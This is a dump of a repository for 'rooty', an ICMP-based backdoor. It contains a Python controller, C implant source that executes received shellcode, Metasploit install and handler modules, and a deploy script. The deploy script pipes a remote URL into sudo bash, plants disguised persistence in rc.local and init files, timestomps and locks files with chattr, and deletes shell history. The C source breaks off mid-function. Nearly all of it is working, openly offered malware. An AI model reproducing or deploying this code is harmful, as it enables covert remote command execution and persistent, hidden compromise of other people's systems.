├── .gitignore ├── README ├── bin └── linux │ └── x86_64 │ ├── rooty │ ├── rooty-debug │ └── rooty-release ├── client.py ├── extras ├── deploy.sh └── make_static.sh ├── msf ├── install_rooty.rb └── rooty.rb └── src ├── Makefile ├── fork_stub-x64.asm ├── make_fork_stub.sh ├── make_static.openbsd.sh ├── rooty.c ├── rooty.h ├── rooty_unix.c ├── rooty_unix.h ├── rooty_win.c └── rooty_win.h /.gitignore: -------------------------------------------------------------------------------- 1 | Makefile.in 2 | aclocal.m4 3 | autom4te.cache/ 4 | config.guess 5 | config.h 6 | config.h.in 7 | config.log 8 | config.status 9 | config.sub 10 | configure 11 | depcomp 12 | install-sh 13 | libtool 14 | ltmain.sh 15 | missing 16 | src/.deps 17 | src/*.swp 18 | src/rooty.o 19 | stamp-h1 20 | *.swp 21 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | ICMP based libpcap backdoor based on the idea from: http://packetstormsecurity.org/search/?q=silentdoor 2 | 3 | Also includes the ability to send shellcode for execution and a connectionless shell functionality 4 | 5 | To build, you only need to have libpcap development files installed. 6 | Then you should only have to run make. 7 | To make a debug build with error message run: make debug 8 | If you have upx installed and would liked a packed version: make upx 9 | -------------------------------------------------------------------------------- /bin/linux/x86_64/rooty: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hal3002/rooty/aa9372c2419d590dcb15c288944de3191a5ad67d/bin/linux/x86_64/rooty -------------------------------------------------------------------------------- /bin/linux/x86_64/rooty-debug: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hal3002/rooty/aa9372c2419d590dcb15c288944de3191a5ad67d/bin/linux/x86_64/rooty-debug -------------------------------------------------------------------------------- /bin/linux/x86_64/rooty-release: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hal3002/rooty/aa9372c2419d590dcb15c288944de3191a5ad67d/bin/linux/x86_64/rooty-release -------------------------------------------------------------------------------- /client.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import _thread 3 | import getopt 4 | import struct 5 | import hexdump 6 | import re 7 | 8 | from termcolor import colored 9 | 10 | MSG_TYPE_RESPONSE = 0x00 11 | MSG_TYPE_SHELLCODE = 0x01 12 | MSG_TYPE_COMMAND = 0x02 13 | MSG_TYPE_REMOTE_SHELLCODE = 0x03 14 | 15 | MSG_ARCH_X64= 0x10 16 | MSG_OS_WINDOWS= 0x20 17 | MSG_OS_BSD= 0x40 18 | MSG_OS_LINUX= 0x80 19 | 20 | magic = b"GOATSE" 21 | search = "" 22 | src_ip = "" 23 | dst_ip = "" 24 | destinations = [] 25 | hosts_file = "" 26 | shellcode_file = "" 27 | block_size = 128 28 | interface=None 29 | 30 | class RootyMessageException(Exception): 31 | pass 32 | 33 | class SystemInformation(): 34 | def __init__(self, ip, arch, os): 35 | self.ip = ip 36 | self.arch = arch 37 | self.os = os 38 | 39 | def __str__(self): 40 | res = "{}".format(self.ip) 41 | 42 | if self.os == MSG_OS_WINDOWS: 43 | res += " Windows" 44 | elif self.os == MSG_OS_BSD: 45 | res += " BSD" 46 | elif self.os == MSG_OS_LINUX: 47 | res += " Linux" 48 | else: 49 | res += " Unknown" 50 | 51 | if self.arch == MSG_ARCH_X64: 52 | res += " X64" 53 | else: 54 | res += " i386" 55 | 56 | return res 57 | 58 | class RootyMessage(): 59 | def __init__(self, pkt): 60 | global magic, block_size 61 | 62 | if len(pkt.load) > 0 and (len(pkt.load) % block_size == 0): 63 | data = crypt_data(pkt.load[block_size:], pkt.load[:block_size]) 64 | 65 | if data.startswith(magic): 66 | self.source = SystemInformation(pkt[IP].src, data[6] & 0x10, data[6] & 0xE0) 67 | self.message_type = data[6] & 0x0F 68 | self.data_len = struct.unpack(' [-S ] -i [-s ] [-f ] [-h]".format(sys.argv[0])) 88 | print("\t\tinterface: The interface that should be used for sending packets. (REQUIRED)") 89 | print("\t\tdst_ip: the host we are communicating with (Can be broadcast)") 90 | print("\t\tsearch: regex to filter hosts") 91 | print("\t\thost_file: file containing hostnames of hosts we are communicating with") 92 | print("\t\tsrc_ip: the address we want to send from (Can be anything)") 93 | print("\t\tshellcode_file: send shellcode from this file to run on the host or use - to read from stdin") 94 | print() 95 | sys.exit(0) 96 | 97 | def parse_args(): 98 | global dst_ip, src_ip, shellcode_file, interface, destinations, search 99 | 100 | try: 101 | opts, args = getopt.gnu_getopt(sys.argv[1:], 'i:d:s:f:S:h', \ 102 | ['interface=', 'destination=', 'source=', 'shellcode=', 'search=', 'help']) 103 | 104 | except getopt.GetoptError as err: 105 | usage(err) 106 | 107 | for o, a in opts: 108 | if o in ('-d', '--destination'): 109 | if os.path.isfile(a): 110 | destinations = open(a, 'r').read().strip().split('\n') 111 | else: 112 | destinations = [a] 113 | if o in ('-i', '--interface'): 114 | interface = a 115 | if o in ('-s', '--source'): 116 | src_ip = a 117 | if o in ('-f', '--shellcode'): 118 | shellcode_file = a 119 | if o in ('-S', '--search'): 120 | search = a 121 | if o in ('-h', '--help'): 122 | usage() 123 | 124 | def generate_key(len=64): 125 | global block_size 126 | 127 | return bytes([(random.randint(0, 255)) for _ in range(block_size)]) 128 | 129 | 130 | def crypt_data(data, key): 131 | global block_size 132 | 133 | if len(data) % block_size: 134 | data += (b"\x00" * (block_size - (len(data) % block_size))) 135 | 136 | j = 0 137 | output = [] 138 | 139 | for i in range(len(data)): 140 | output.append(data[i] ^ key[j]) 141 | 142 | if j > 0 and (j % (block_size - 1) == 0): 143 | j = 0 144 | else: 145 | j += 1 146 | 147 | return bytes(output) 148 | 149 | 150 | def build_pkt(src, dst, data): 151 | ip = IP(dst=dst) 152 | 153 | if src_ip: 154 | ip.src = src 155 | 156 | return ip/ICMP(type=8, code=0, id=random.randint(0, 65535))/data 157 | 158 | def sniff_packet(pkt): 159 | try: 160 | msg = RootyMessage(pkt) 161 | 162 | if msg.message_type == MSG_TYPE_RESPONSE: 163 | print('{}: {}'.format(colored(msg.source, 'green'), msg.data), end='') 164 | 165 | except (RootyMessageException, AttributeError): 166 | pass 167 | 168 | 169 | def start_listener(): 170 | global interface 171 | 172 | sniff(filter="icmp", prn=sniff_packet, iface=interface) 173 | 174 | def send_shellcode(): 175 | global MSG_TYPE_SHELLCODE, MSG_TYPE_REMOTE_SHELLCODE, magic, shellcode_file, last_packet 176 | shellcode = magic + MSG_TYPE_SHELLCODE 177 | 178 | # Open and read the shellcode 179 | if shellcode_file == '-': 180 | shellcode += sys.stdin.read() 181 | else: 182 | f = open(shellcode_file, 'r') 183 | shellcode += f.read() 184 | f.close() 185 | 186 | # Get the required crypto bits 187 | key = generate_key() 188 | encrypted_data = crypt_data(shellcode, key) 189 | last_packet = encrypted_data 190 | 191 | # Now send it 192 | send(build_pkt(src_ip, dst_ip, encrypted_data, key), verbose=0) 193 | 194 | # We need use rand for key generation 195 | random.seed() 196 | 197 | # Parse the arguments 198 | parse_args() 199 | 200 | # Filter hosts by the search string 201 | if search: 202 | destinations = [x for x in destinations if re.search(search, x)] 203 | 204 | # Make sure we at least have a destination 205 | if not destinations: 206 | print("ERROR: Destination must be specified") 207 | usage() 208 | sys.exit(0) 209 | 210 | # Make sure we at least have a destination 211 | if not interface: 212 | print("ERROR: Interface must be specified") 213 | usage() 214 | sys.exit(0) 215 | 216 | # Do we send shellcode or start a shell 217 | if shellcode_file != "": 218 | send_shellcode() 219 | print("Shellcode sent") 220 | sys.exit(0) 221 | 222 | # Create the listener thread 223 | _thread.start_new_thread(start_listener, ()) 224 | 225 | # Now just read our input and send commands 226 | while 1: 227 | line = sys.stdin.readline().rstrip('\n').encode() 228 | key = generate_key() 229 | encrypted_data = crypt_data(magic + b"\x02" + struct.pack(' /lib/lsb/init-functions.d/41-systemd-manager 21 | chmod 755 /lib/lsb/init-functions.d/ 22 | touch -r /etc/ld.so.conf /lib/lsb/init-functions.d/41-systemd-manager 23 | chattr +i /lib/lsb/init-functions.d/41-systemd-manager 24 | /lib/systemd/systemd-manager & 25 | fi 26 | } 27 | 28 | install_debian() { 29 | if [ ! -f /lib/systemd/systemd-manager ]; then 30 | install_manager /lib/systemd/systemd-manager 31 | 32 | printf 'if [ -z "$( pidof systemd-manager )" ]; then\n\t/lib/systemd/systemd-manager &\nfi\n' >> /lib/apparmor/rc.apparmor.functions 33 | touch -r /etc/ld.so.conf /lib/apparmor/rc.apparmor.functions 34 | chattr +i /lib/apparmor/rc.apparmor.functions 35 | /lib/systemd/systemd-manager & 36 | fi 37 | 38 | } 39 | 40 | install_centos () { 41 | if [ ! -f /usr/lib/systemd/systemd-manager ]; then 42 | install_manager /usr/lib/systemd/systemd-manager 43 | 44 | chmod 777 /etc/rc.d/rc.local 45 | printf 'if [ -z "$( pidof systemd-manager )" ]; then\n\t/lib/systemd/systemd-manager &\nfi\n' >> /etc/rc.d/rc.local 46 | chmod 755 /etc/rc.d/rc.local 47 | 48 | touch -r /etc/ld.so.conf /etc/rc.d/rc.local 49 | chattr +i /etc/rc.d/rc.local 50 | systemctl enable rc-local.service 51 | systemctl start rc-local.service 52 | 53 | fi 54 | 55 | } 56 | 57 | # fetch 58 | fetch () { 59 | if [ ! -z "$( which curl )" ]; then 60 | $( which curl ) --silent -o $2 $1 61 | elif [ ! -z "$( which wget )" ]; then 62 | $( which wget ) --quiet -O $2 $1 63 | fi 64 | } 65 | 66 | # We have to run as root 67 | if [ -z "$( id | grep uid=0)" ]; then 68 | if [ ! -z "$( which sudo )" ]; then 69 | sudo_path=$( which sudo ) 70 | 71 | if [ ! -z "$( echo $PASSWORD | $sudo_path -S id | grep uid=0 )" ]; then 72 | curl --silent $DEPLOY_URL | $sudo_path /bin/bash 73 | fi 74 | elif [ ! -z "$( which su)" ]; then 75 | su_path=$( which su ) 76 | 77 | if [ ! -z "$( echo $PASSWORD | $su_path -c id | grep uid=0 )" ]; then 78 | echo $PASSWORD | $su_path -c "curl --silent $DEPLOY_URL | /bin/bash" 79 | fi 80 | fi 81 | exit 82 | fi 83 | 84 | # Find the distribution 85 | if [ -f /etc/centos-release ]; then 86 | install_centos 87 | 88 | elif [ -f /etc/issue ]; then 89 | if [ ! -z "$( grep -i ubuntu /etc/issue )" ]; then 90 | if [ ! -z "$( grep '20.' /etc/issue )" ]; then 91 | install_debian # Ubuntu 20 is supported by the better debian install 92 | else 93 | install_debian 94 | fi 95 | elif [ ! -z "$( grep -i debian /etc/issue )" ]; then 96 | install_debian 97 | else 98 | echo "Unknown debian based distribution" 99 | fi 100 | else 101 | echo "Unknown distribution" 102 | fi 103 | -------------------------------------------------------------------------------- /extras/make_static.sh: -------------------------------------------------------------------------------- 1 | cd ../src 2 | wget https://www.tcpdump.org/release/libpcap-1.10.0.tar.gz 3 | tar -xf libpcap-1.10.0.tar.gz 4 | cd libpcap-1.10.0 5 | ./configure --disable-shared --disable-dbus 6 | make -j 7 | cd .. 8 | 9 | gcc -static -FPIC -O2 -o rooty rooty_unix.c rooty.c -I libpcap-1.10.0/pcap -I libpcap-1.10.0 -Llibpcap-1.10.0 -lpcap -lpthread 10 | strip rooty 11 | -------------------------------------------------------------------------------- /msf/install_rooty.rb: -------------------------------------------------------------------------------- 1 | class Metasploit3 < Msf::Post 2 | 3 | include Msf::Post::File 4 | include Msf::Post::Linux::System 5 | 6 | def initialize(info={}) 7 | super( update_info( info, 8 | 'Name' => 'Install rooty backdoor', 9 | 'Description' => %q{ 10 | Install rooty backdoor for the correct environment. 11 | }, 12 | 'License' => MSF_LICENSE, 13 | 'Author' => 14 | [ 15 | 'hal' 16 | ], 17 | 'Platform' => ['linux'], 18 | 'SessionTypes' => ['shell'] 19 | )) 20 | 21 | register_options( 22 | [ 23 | OptString.new('ROOTY_PATH', [true, 'The base path to the rooty binaries.', '/root/ccdc/linux/rooty/bin' ]), 24 | OptString.new('BACKDOOR_PATHS', [true, 'Where to copy rooty to be executed', '/sbin/named']), 25 | ], self.class) 26 | end 27 | 28 | def run 29 | distro = nil 30 | 31 | 0.upto(10) do |i| 32 | begin 33 | distro = get_sysinfo 34 | break 35 | rescue ::Exception => e 36 | print_error("Failed to get system info. Retrying...") 37 | Rex.sleep(1) 38 | end 39 | end 40 | 41 | hardware = nil 42 | interface = nil 43 | 44 | if distro.nil? 45 | print_error("Unable to get distro information") 46 | return nil 47 | end 48 | 49 | if distro[:kernel] =~ /x86_64/ 50 | hardware = "x86_64" 51 | elsif distro[:kernel] =~ /i\d86/ 52 | hardware = "i686" 53 | else 54 | print_error("Unable to determine hardware architecture") 55 | return nil 56 | end 57 | 58 | if distro[:distro] =~ /(amazon|cent|redhat|debian|ubuntu|linux)/i 59 | datastore['BACKDOOR_PATHS'].split(',').each do |backdoor_path| 60 | print_status("Uploading rooty binary for #{distro[:distro]} #{hardware} systems to #{backdoor_path}") 61 | upload_file(backdoor_path, "#{datastore['ROOTY_PATH']}/linux/#{hardware}/rooty-upx") 62 | cmd_exec("touch -r /etc/services #{backdoor_path}") 63 | cmd_exec("chmod 755 #{backdoor_path}") 64 | cmd_exec("echo '#{backdoor_path} \&' >> /etc/rc.local") 65 | cmd_exec("/usr/bin/chattr +i #{backdoor_path}") 66 | end 67 | 68 | print_status("Starting the backdoor") 69 | cmd_exec("chmod 755 /etc/rc.local") 70 | cmd_exec("touch -r /etc/services /usr/bin/sla") 71 | cmd_exec("grep -v exit /etc/rc.local > /tmp/rc.local") 72 | cmd_exec("mv /tmp/rc.local /etc/rc.local") 73 | cmd_exec("echo 'exit 0' >> /etc/rc.local") 74 | cmd_exec("sh /etc/rc.local") 75 | cmd_exec("/usr/bin/chattr +i /etc/rc.local") 76 | cmd_exec("mv /usr/bin/chattr /usr/bin/sla") 77 | cmd_exec("rm /root/.bash_history") 78 | else 79 | print_error("Unknown distrobution: #{distro[:distro]}") 80 | end 81 | 82 | end 83 | end 84 | 85 | -------------------------------------------------------------------------------- /msf/rooty.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http//metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | 8 | class MetasploitModule < Msf::Exploit::Remote 9 | Rank = ManualRanking 10 | 11 | include Msf::Exploit::Capture 12 | 13 | def initialize(info = {}) 14 | super(update_info(info, 15 | 'Name' => 'Rooty Payload Handler', 16 | 'Description' => %q{ 17 | This module will send a ICMP "encrypted" packet with a payload or command to execute to a host running rooty. 18 | }, 19 | 'License' => MSF_LICENSE, 20 | 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 21 | 'Author' => ['hal'], 22 | 'References' => [ ], 23 | 'Payload' => 24 | { 25 | 'Space' => 1500, 26 | 'BadChars' => '', 27 | 'DisableNops' => true, 28 | }, 29 | 'Platform' => %w{ linux bsd }, 30 | 'Arch' => [ARCH_X86, ARCH_X64], 31 | 'Targets' => [ [ 'Universal', { } ] ], 32 | 'DefaultTarget' => 0 33 | )) 34 | 35 | deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN') 36 | register_options( 37 | [ 38 | OptString.new('SHOST', [false, 'The source address of the ICMP packet', nil]), 39 | OptString.new('CMD', [false, 'The command to execute on the host', nil]), 40 | OptInt.new('TIMEOUT', [false, 'How long to wait for responses.', 2]), 41 | OptBool.new('BROADCAST', [false, 'Set if sending to a broadcast address.', false]), 42 | OptInt.new('BLOCK_SIZE', [false, 'Encryption block size.', 128]), 43 | ], self.class) 44 | end 45 | 46 | def exploit 47 | 48 | check_pcaprub_loaded 49 | 50 | open_pcap 51 | pcap = self.capture 52 | capture_sendto(build_icmp(rhost), rhost, datastore['BROADCAST']) 53 | 54 | data = "" 55 | os = "Unknown" 56 | arch = "i386" 57 | begin 58 | Timeout.timeout(datastore['TIMEOUT']) do 59 | each_packet do |pkt| 60 | p = PacketFu::Packet.parse(pkt) 61 | next unless p.payload.size > 4 62 | p.payload = p.payload[4..] 63 | next unless p.is_icmp? 64 | next unless p.payload.size >= (datastore['BLOCK_SIZE'] * 2) 65 | next unless p.payload.size % datastore['BLOCK_SIZE'] == 0 66 | decoded = crypt_data(p.payload[128..], p.payload[0..127]) 67 | 68 | if decoded.start_with?("GOATSE") and ((decoded[6].ord & 0x3 == 0)) 69 | if decoded[6].ord & 0x80 70 | os = "Linux" 71 | elsif decoded[6].ord & 0x40 72 | os = "BSD" 73 | elsif decoded[6].ord & 0x20 74 | os = "Windows" 75 | end 76 | 77 | if decoded[6].ord & 0x10 78 | arch = "x86_64" 79 | end 80 | 81 | decoded = decoded[7..] 82 | data_len = decoded[..1].unpack('S<')[0] 83 | data << "#{decoded[1..data_len]}\n" 84 | 85 | end 86 | end 87 | end 88 | rescue Timeout::Error 89 | # Ignore 90 | end 91 | 92 | close_pcap 93 | 94 | if data.size > 0 95 | print_good("#{rhost} (#{os} #{arch})\n#{data}".chomp) 96 | else 97 | if datastore['CMD'] 98 | print_error "No response received." 99 | end 100 | end 101 | end 102 | 103 | 104 | def crypt_data(data, key) 105 | block_size = datastore['BLOCK_SIZE'] 106 | 107 | if data.size % block_size 108 | data += "\x00" * (block_size - (data.size % block_size)) 109 | end 110 | 111 | j = 0 112 | 113 | 0.upto(data.size - 1) do |i| 114 | data[i] = (data[i].ord ^ key[j].ord).chr 115 | 116 | if (j > 0) and (j % (block_size - 1) == 0) 117 | j = 0 118 | else 119 | j += 1 120 | end 121 | end 122 | 123 | return data 124 | end 125 | 126 | def build_icmp(ip) 127 | icmp_id = rand(65535) & 0xffff 128 | key = (0..127).map { rand(255).chr }.join 129 | 130 | if datastore['CMD'].nil? || datastore['CMD'] == '' 131 | if datastore['PAYLOAD'].nil? || datastore['PAYLOAD'] == '' 132 | fail_with(Failure::BadConfig, "CMD was not specified and no PAYLOAD was set") 133 | else 134 | data = "GOATSE\x01" + [payload.encoded.size].pack('S<') + payload.encoded 135 | end 136 | else 137 | data = "GOATSE\x02" + [datastore['CMD'].size].pack('S<') + datastore['CMD'] 138 | end 139 | 140 | p = PacketFu::ICMPPacket.new 141 | p.icmp_type = 8 142 | p.icmp_code = 0 143 | p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost) 144 | p.ip_daddr = ip 145 | p.payload = capture_icmp_echo_pack(icmp_id, rand(65535) & 0xffff, key + crypt_data(data, key)) 146 | p.recalc 147 | p.recalc 148 | return p 149 | end 150 | end 151 | -------------------------------------------------------------------------------- /src/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -DDEBUG -ggdb -O0 -o rooty-debug rooty_unix.c rooty.c -lpcap -lpthread 3 | gcc -O2 -o rooty rooty_unix.c rooty.c -lpcap -lpthread 4 | cp rooty rooty-release 5 | strip rooty-release 6 | clean: 7 | rm -f *.o rooty.exe rooty rooty-release rooty-debug 8 | -------------------------------------------------------------------------------- /src/fork_stub-x64.asm: -------------------------------------------------------------------------------- 1 | 2 | section.text 3 | 4 | global _start 5 | _start: 6 | pushfq 7 | push rax 8 | push rsi 9 | push rdi 10 | push rbx 11 | push rcx 12 | push r8 13 | push r9 14 | push r10 15 | push r11 16 | push r12 17 | push r13 18 | push r14 19 | push r15 20 | 21 | xor rax,rax 22 | mov rax,57 23 | xor rdi,rdi 24 | syscall 25 | 26 | test rax,rax 27 | je child 28 | 29 | pop r15 30 | pop r14 31 | pop r13 32 | pop r12 33 | pop r11 34 | pop r10 35 | pop r9 36 | pop r8 37 | pop rcx 38 | pop rbx 39 | pop rdi 40 | pop rsi 41 | pop rax 42 | popfq 43 | 44 | sub rsp,8 45 | mov dword [rsp+4],0x41424344 46 | mov dword [rsp],0x45464748 47 | ret 48 | child: 49 | nop 50 | nop 51 | nop 52 | nop 53 | -------------------------------------------------------------------------------- /src/make_fork_stub.sh: -------------------------------------------------------------------------------- 1 | nasm -f elf64 -o fork_stub-x64.o fork_stub-x64.asm; ld -o fork_stub-x64 fork_stub-x64.o 2 | for i in $(objdump -d fork_stub-x64 |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo 3 | -------------------------------------------------------------------------------- /src/make_static.openbsd.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # I know there is a better way to do this but I currently don't care 4 | rm rooty-debug 5 | rm rooty-release 6 | rm rooty-upx 7 | 8 | gcc -DDEBUG -static -o rooty-debug rooty_unix.c rooty.c -lpcap -lpthread 9 | gcc -static -o rooty-release rooty_unix.c rooty.c -lpcap -lpthread 10 | 11 | strip rooty-release 12 | #cp rooty-release rooty-upx 13 | #upx rooty-upx 14 | -------------------------------------------------------------------------------- /src/rooty.c: -------------------------------------------------------------------------------- 1 | #include "rooty.h" 2 | 3 | uint32_t decrypt_message(ROOTY_MESSAGE *msg, uint32_t len) { 4 | uint32_t i, j; 5 | 6 | for(i=0, j=0; i < len - BLOCK_SIZE; i++) { 7 | msg->magic[i] = (msg->magic[i] ^ msg->key[j]); 8 | 9 | if ((j > 0) && (j % (BLOCK_SIZE - 1) == 0)) { 10 | j = 0; 11 | } else { 12 | j++; 13 | } 14 | } 15 | 16 | return i; 17 | } 18 | -------------------------------------------------------------------------------- /src/rooty.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | 12 | #define SIZE_ETHERNET 14 13 | #define SIZE_COOKED 16 14 | #define STACK_SIZE 0x40000000 15 | #define MAX_PACKET_SIZE 1024 16 | #define MAGIC "GOATSE" 17 | #define REDIRECT " 2>&1" 18 | #define BLOCK_SIZE 128 19 | 20 | #define MESSAGE_RESPONSE 0x00 // Response 21 | #define MESSAGE_SHELLCODE 0x01 // Fork and run the shellcode 22 | #define MESSAGE_COMMAND 0x02 // Run a command and send back the response 23 | #define MESSAGE_REMOTE_SHELLCODE 0x04 // Inject shellcode into another process 24 | 25 | #define MESSAGE_ARCH_X64 0x10 26 | #define MESSAGE_OS_WINDOWS 0x20 27 | #define MESSAGE_OS_BSD 0x40 28 | #define MESSAGE_OS_LINUX 0x80 29 | 30 | #ifdef __unix__ 31 | #define BSD 32 | #endif 33 | 34 | #ifdef __linux__ 35 | #define LINUX 36 | #define MESSAGE_OS MESSAGE_OS_LINUX 37 | #endif 38 | 39 | #ifdef __MINGW32__ 40 | #define WINDOWS 41 | #endif 42 | 43 | #ifdef __MINGW64__ 44 | #define WINDOWS 45 | #endif 46 | 47 | #if (__WORDSIZE == 64) 48 | #define MESSAGE_ARCH MESSAGE_ARCH_X64 49 | #else 50 | #define MESSAGE_ARCH 0 51 | #endif 52 | 53 | #ifdef DEBUG 54 | #define DEBUG_WRAP(code) code 55 | #else 56 | #define DEBUG_WRAP(code) 57 | #endif 58 | 59 | 60 | #define LOG(level, ...) { fprintf(stderr, "%s: ", level); fprintf(stderr, __VA_ARGS__); fprintf(stderr, "\n"); } 61 | #define LOG_ERROR(...) { LOG("ERROR", __VA_ARGS__); } 62 | #define LOG_DEBUG(...) { DEBUG_WRAP(LOG("DEBUG", __VA_ARGS__)); } 63 | 64 | 65 | typedef struct __attribute__((__packed__)) ip_hdr { 66 | uint8_t ip_header_len:4; 67 | uint8_t ip_version:4; 68 | uint8_t ip_tos; 69 | uint16_t ip_total_length; 70 | uint16_t ip_id; 71 | uint8_t ip_frag_offset:5; 72 | uint8_t ip_more_fragment:1; 73 | uint8_t ip_dont_fragment:1; 74 | uint8_t ip_reserved_zero:1; 75 | uint8_t ip_frag_offset1; 76 | uint8_t ip_ttl; 77 | uint8_t ip_protocol; 78 | uint16_t ip_checksum; 79 | uint32_t ip_srcaddr; 80 | uint32_t ip_destaddr; 81 | 82 | } IPV4_HDR; 83 | 84 | typedef struct __attribute__((__packed__)) icmp_hdr { 85 | uint8_t type; /* message type */ 86 | uint8_t code; /* type sub-code */ 87 | uint16_t checksum; 88 | union 89 | { 90 | struct 91 | { 92 | uint16_t id; 93 | uint16_t sequence; 94 | } echo; /* echo datagram */ 95 | uint32_t gateway; /* gateway address */ 96 | struct 97 | { 98 | uint16_t unused; 99 | uint16_t mtu; 100 | } frag; /* path mtu discovery */ 101 | } un; 102 | } ICMP_HDR; 103 | 104 | 105 | typedef struct __attribute__((__packed__)) rooty_message { 106 | uint8_t key[BLOCK_SIZE]; 107 | uint8_t magic[6]; 108 | uint8_t type; 109 | uint16_t len; 110 | uint8_t data[]; 111 | } ROOTY_MESSAGE; 112 | 113 | uint32_t decrypt_message(ROOTY_MESSAGE *msg, uint32_t len); 114 | -------------------------------------------------------------------------------- /src/rooty_unix.c: -------------------------------------------------------------------------------- 1 | #include "rooty_unix.h" 2 | 3 | /*--------------------------------------------------------------------*/ 4 | /*--- checksum - standard 1s complement checksum ---*/ 5 | /*--------------------------------------------------------------------*/ 6 | unsigned short checksum(void *b, int len) 7 | { unsigned short *buf = b; 8 | unsigned int sum=0; 9 | unsigned short result; 10 | 11 | for ( sum = 0; len > 1; len -= 2 ) 12 | sum += *buf++; 13 | if ( len == 1 ) 14 | sum += *(unsigned char*)buf; 15 | sum = (sum >> 16) + (sum & 0xFFFF); 16 | sum += (sum >> 16); 17 | result = ~sum; 18 | return result; 19 | } 20 | 21 | 22 | int build_packet(unsigned char *pkt, const struct icmp_hdr *icmp_input, ROOTY_MESSAGE *msg) { 23 | struct icmp_hdr *icmp = NULL; 24 | uint8_t *pkt_data = NULL; 25 | uint32_t data_size = sizeof(ROOTY_MESSAGE) + msg->len; 26 | 27 | if((pkt != NULL) && (icmp_input != NULL)) { 28 | icmp = (struct icmp_hdr *)pkt; 29 | pkt_data = (uint8_t *)(pkt + sizeof(struct icmp_hdr)); 30 | 31 | // Required ICMP fields 32 | icmp->type = 0; 33 | icmp->code = 0; 34 | icmp->un.echo.id = icmp_input->un.echo.id; 35 | icmp->un.echo.sequence = icmp_input->un.echo.sequence; 36 | 37 | // Copy the data into the packet 38 | memcpy(pkt_data, (uint8_t *) msg, data_size); 39 | 40 | // Calculate the new checksum 41 | icmp->checksum = checksum(pkt, sizeof(struct icmp_hdr) + data_size); 42 | 43 | return (sizeof(struct icmp_hdr) + data_size); 44 | } 45 | 46 | return 0; 47 | } 48 | 49 | void send_packet(ROOTY_MESSAGE *msg, const struct ip_hdr *ip, const struct icmp_hdr *icmp) { 50 | uint32_t pkt_size = 0; 51 | uint8_t *pkt = NULL; 52 | uint16_t data_len = 0; 53 | struct sockaddr_in sin; 54 | int output_socket = 0; 55 | 56 | // Make sure we have data 57 | if(msg->len) { 58 | 59 | // Pad data to the next block_size alignment 60 | data_len = sizeof(ROOTY_MESSAGE) + msg->len; 61 | 62 | if(data_len % BLOCK_SIZE) { 63 | data_len += BLOCK_SIZE - (data_len % BLOCK_SIZE); 64 | } 65 | 66 | // Encrypt the data 67 | if(decrypt_message(msg, data_len)) { 68 | pkt_size = sizeof(struct icmp_hdr) + data_len; 69 | 70 | // Create a packet to store our response 71 | if ((pkt = malloc(pkt_size)) == 0) { 72 | DEBUG_WRAP(fprintf(stderr, "Failed to malloc response packet of size: %d\n", pkt_size)); 73 | return; 74 | } 75 | 76 | // Clear out the packet 77 | memset(pkt, 0, pkt_size); 78 | 79 | // Create our ICMP packet 80 | ((struct icmp_hdr *)pkt)->type = 0; 81 | ((struct icmp_hdr *)pkt)->code = 0; 82 | ((struct icmp_hdr *)pkt)->un.echo.id = icmp->un.echo.id; 83 | ((struct icmp_hdr *)pkt)->un.echo.sequence = icmp->un.echo.sequence; 84 | 85 | // Copy over our data to send 86 | memcpy(pkt + sizeof(struct icmp_hdr), msg, data_len); 87 | 88 | // Calculate the new checksum 89 | ((struct icmp_hdr *)pkt)->checksum = checksum(pkt, pkt_size); 90 | 91 | // Fill in the sockaddr 92 | sin.sin_family = AF_INET; 93 | sin.sin_port = 0; 94 | sin.sin_addr.s_addr = ip->ip_srcaddr; 95 | 96 | // Create our socket for sending responses 97 | if((output_socket = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) > 0) { 98 | 99 | // Not going to worry about failures 100 | if(sendto(output_socket, pkt, pkt_size, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr_in)) <= 0) { 101 | DEBUG_WRAP(fprintf(stderr, "Unable to send packet\n")); 102 | } 103 | close(output_socket); 104 | } 105 | 106 | free(pkt); 107 | } 108 | } 109 | } 110 | 111 | void __attribute__ ((noinline)) execute_shellcode(const unsigned char *shellcode, const unsigned char *stack ) { 112 | 113 | #ifdef __i386__ 114 | 115 | // We dont' care about the old return address 116 | __asm__("pop %eax"); 117 | 118 | // Save the new eip 119 | __asm__("pop %eax"); 120 | 121 | // Set up the new stack 122 | __asm__("pop %esp"); 123 | 124 | // Finally jump to the shellcode 125 | __asm__("jmp *%eax"); 126 | 127 | #else 128 | 129 | // Set up the new stack 130 | __asm__("mov %rsi, %rsp"); 131 | 132 | // Finally jump to the shellcode 133 | __asm__("jmp *%rdi"); 134 | 135 | #endif 136 | } 137 | 138 | void run_shellcode(const unsigned char *shellcode, uint32_t size) { 139 | unsigned char *executable = NULL, *new_stack = NULL; 140 | 141 | // We need some more memory to work 142 | if((executable = mmap(NULL, STACK_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0)) == MAP_FAILED) { 143 | DEBUG_WRAP(fprintf(stderr, "Failed to mmap new executable area\n")); 144 | return; 145 | } 146 | DEBUG_WRAP(fprintf(stderr, "Created new executable section at 0x%p\n", executable)); 147 | 148 | // Copy our prefix and shellcode in 149 | if(memcpy(executable, shellcode, size) != executable) { 150 | DEBUG_WRAP(fprintf(stderr, "Failed to copy shellcode to new executable memory region\n")); 151 | return; 152 | } 153 | 154 | // We need some more memory to work 155 | if((new_stack = mmap(NULL, STACK_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0)) == MAP_FAILED) { 156 | 